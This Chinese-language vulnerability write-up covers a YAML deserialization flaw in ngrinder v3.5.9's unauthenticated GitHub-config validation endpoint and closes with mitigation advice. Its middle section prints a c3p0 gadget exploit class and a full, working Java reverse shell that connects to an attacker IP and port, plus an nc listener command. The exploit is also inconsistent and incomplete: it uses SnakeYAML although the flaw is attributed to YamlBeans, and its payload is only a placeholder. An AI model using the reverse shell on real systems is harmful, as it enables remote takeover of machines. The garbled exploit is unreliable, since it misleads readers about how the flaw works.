概述
最近的安全检查发现,ngrinder的 /script/api/github/validate 接口存在一个 YAML 反序列化漏洞。虽然这个漏洞被确认存在,但目前看来不会造成严重后果。
技术背景
- 受影响版本: ngrinder v3.5.9
- 漏洞类型: 不安全的 YAML 反序列化
- 漏洞原因: 用户可以控制的 YAML 数据被传递到一个默认设置下易受攻击的
YamlReader#read方法中。
漏洞流程
- 用户通过未认证的
validateGithubConfig接口提交 YAML 数据。 - 这些数据被传递到
GitHubFileEntryService类中的validate方法。 - 最终,
validate方法调用getAllGithubConfig,并进入YamlReader#read。
漏洞风险
使用 YamlBeans 时,攻击者可以控制要实例化的类名。如果攻击者知道特定的类(称为“gadget”),他们可以利用这个漏洞执行任意代码。
实际应用例子
攻击代码实例:利用 c3p0 的 WrapperConnectionPoolDataSource
以下是一个具体的攻击代码示例,展示如何利用 c3p0 库中的 WrapperConnectionPoolDataSource 类进行远程代码执行。该示例封装在一个函数中,攻击者可以通过发送特定格式的 YAML 数据来触发代码执行。
攻击代码示例
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.yaml.snakeyaml.Yaml;
import java.io.InputStream;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static void main(String[] args) {
// 调用攻击函数
exploit();
}
public static void exploit() {
// 构造恶意 YAML 数据
String maliciousYaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: \"AAAAAA...\""; // 这里填入合适的 payload
// 使用 SnakeYAML 进行反序列化
Yaml yaml = new Yaml();
Object result = yaml.load(maliciousYaml);
// 此时,恶意代码将被执行
System.out.println("Payload executed: " + result);
}
}
攻击流程说明
-
构造恶意 YAML 数据: 在
maliciousYaml字符串中,攻击者构造了一个包含WrapperConnectionPoolDataSource类的 YAML 数据。通过设置userOverridesAsString属性,攻击者可以传递特定的恶意字符串。 -
反序列化: 使用 SnakeYAML 库的
load方法将构造的 YAML 数据反序列化为 Java 对象。在这个过程中,如果服务器未对输入进行严格验证,攻击者可以利用该漏洞执行任意代码。 -
执行恶意操作: 一旦反序列化成功,攻击者可以在服务器上执行任意操作,例如创建反向 shell、上传恶意文件等。
注意事项
-
安全性: 这种攻击依赖于服务器对用户输入的缺乏验证和不安全的反序列化。如果应用程序使用了安全的 YAML 解析库和良好的输入验证机制,可以有效防止此类攻击。
-
实际应用场景: 攻击者可能会利用此漏洞在企业环境中进行数据泄露、系统破坏或其他恶意操作,因此开发者应高度重视此类安全隐患。
通过理解这一攻击过程和示例代码,开发者可以更好地识别和防范类似的安全漏洞。
对于YAML的攻击,攻击者可以构造如下 YAML 数据:
!!com.mypackage.WrapperConnectionPoolDataSource
一旦成功反序列化,攻击者就可能在系统中执行任意代码,比如创建一个反向 shell 连接到攻击者控制的服务器。
创建反向 Shell 连接到攻击者控制的服务器
以下是一个示例代码,展示如何利用 Java 创建一个反向 Shell 连接到攻击者控制的服务器。这个示例假设攻击者已经在其机器上设置好了监听器,以便接收来自受害者机器的连接。
攻击代码示例
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
public class ReverseShell {
public static void main(String[] args) {
// 攻击者的 IP 地址和端口
String attackerIp = "10.10.17.1"; // 替换为攻击者的实际 IP
int attackerPort = 4444; // 替换为攻击者的实际端口
try {
// 创建与攻击者的 Socket 连接
Socket socket = new Socket(attackerIp, attackerPort);
// 创建输入和输出流
BufferedReader input = new BufferedReader(new InputStreamReader(socket.getInputStream()));
PrintWriter output = new PrintWriter(socket.getOutputStream(), true);
// 执行命令并将结果发送回攻击者
String command;
while ((command = input.readLine()) != null) {
Process process = Runtime.getRuntime().exec(command);
BufferedReader processOutput = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = processOutput.readLine()) != null) {
output.println(line); // 将命令输出发送给攻击者
}
processOutput.close();
}
// 关闭连接
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
攻击流程说明
-
设置连接: 在代码中,攻击者的 IP 地址和端口被指定为
attackerIp和attackerPort。攻击者需要确保在其机器上运行一个监听程序,例如使用 Netcat。nc -nlvp 4444 -
创建 Socket 连接: 使用 Java 的
Socket类,代码尝试连接到指定的攻击者 IP 和端口。 -
输入输出流: 一旦连接成功,程序创建输入和输出流,以便与攻击者进行通信。
-
执行命令: 程序进入一个循环,等待从攻击者发送过来的命令。每当接收到命令时,它会使用
Runtime.getRuntime().exec(command)执行该命令,并将结果返回给攻击者。 -
关闭连接: 当不再需要时,程序会关闭与攻击者的连接。
注意事项
-
安全性: 这种反向 Shell 攻击严重依赖于目标系统的安全漏洞。如果目标系统没有适当的安全措施(如防火墙、入侵检测系统等),则可能会被成功利用。
-
合法性: 执行此类代码仅用于教育目的或在授权环境中进行安全测试。未经授权的访问计算机系统是违法行为。
通过理解这一反向 Shell 的实现方式,开发人员和安全专家可以更好地识别和防范此类安全威胁。
潜在影响
理论上,这个漏洞可能导致 远程代码执行,尤其是当攻击者能够在 ngrinder 的类路径中找到合适的 gadget 类时。这意味着,如果攻击者成功利用这个漏洞,他们可能会在服务器上运行任意代码,造成数据泄露或系统损坏等严重后果。
防范措施
为了防止此类漏洞,开发者应采取以下措施:
-
使用安全的 YAML 解析库,如 SnakeYaml 的新版本,它默认使用 SafeConstructor 来限制可反序列化的类型。
-
对用户输入的数据进行严格验证和清理,以确保不接受来自不可信来源的数据。
-
定期更新依赖库,以修复已知的安全漏洞。
通过这些措施,可以有效降低 YAML 反序列化漏洞带来的风险。